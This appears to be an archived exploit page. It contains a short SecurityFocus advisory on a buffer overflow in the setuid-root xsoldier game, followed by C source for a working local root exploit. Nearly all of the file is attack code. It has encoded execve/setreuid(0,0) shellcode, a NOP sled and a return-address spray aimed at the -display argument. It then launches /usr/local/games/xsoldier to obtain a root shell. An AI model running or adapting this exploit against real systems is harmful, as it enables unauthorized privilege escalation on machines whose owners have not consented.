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81 lines
No EOL
3 KiB
C
81 lines
No EOL
3 KiB
C
/*
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source: https://www.securityfocus.com/bid/871/info
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Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
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The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
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The user does not have to have a valid $DISPLAY to exploit this.
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*/
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/*Larry W. Cashdollar linux xsolider exploit.
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*lwc@vapid.dhs.org http://vapid.dhs.org
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*if xsolider is built and installed from its source it will be installed
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*setuid root in /usr/local/games
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*original exploit found by brock tellier for freebsd 3.3 ports packages.
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*If a setregid() call is placed in the shellcode, you can get egid=12
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*with the default mandrake installation.*/
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#include <stdio.h>
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#include <stdlib.h>
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#define NOP 0x90 /*no operation skip to next instruction. */
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#define LEN 4480 /*our buffersize. */
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char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
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"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
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"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
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"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
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"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
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"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
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"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
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"\xc2\x91";
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/*Nab the stack pointer to use as an index into our nop's*/
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long
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get_sp ()
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{
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__asm__ ("mov %esp, %eax");
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}
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int
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main (int argc, char *argv[])
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{
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char buffer[LEN];
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int i, offset;
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long retaddr = get_sp ();
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if (argc <= 1)
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offset = 0;
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else
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offset = atoi (argv[1]);
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/*#Copy the NOPs in to the buffer leaving space for shellcode and
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#pointers*/
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for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
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*(buffer + i) = NOP;
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/*[NNNNNNNNNNNNNNNNNNNNN ]*/
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/* ^-- LEN -(strlen(shellcode)) - 35*/
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/*#Copy the shell code into the buffer*/
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memcpy (buffer + i, shellcode, strlen (shellcode));
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/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/
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/* ^-(buffer+i) */
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/*#Fill the buffer with our new address to jump to esp + offset */
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for (i = i + strlen (shellcode); i < LEN; i += 4)
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*(long *) &buffer[i] = retaddr+offset;
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/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
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/* ^-(i+strlen(shellcode))*/
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printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
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execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);
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} |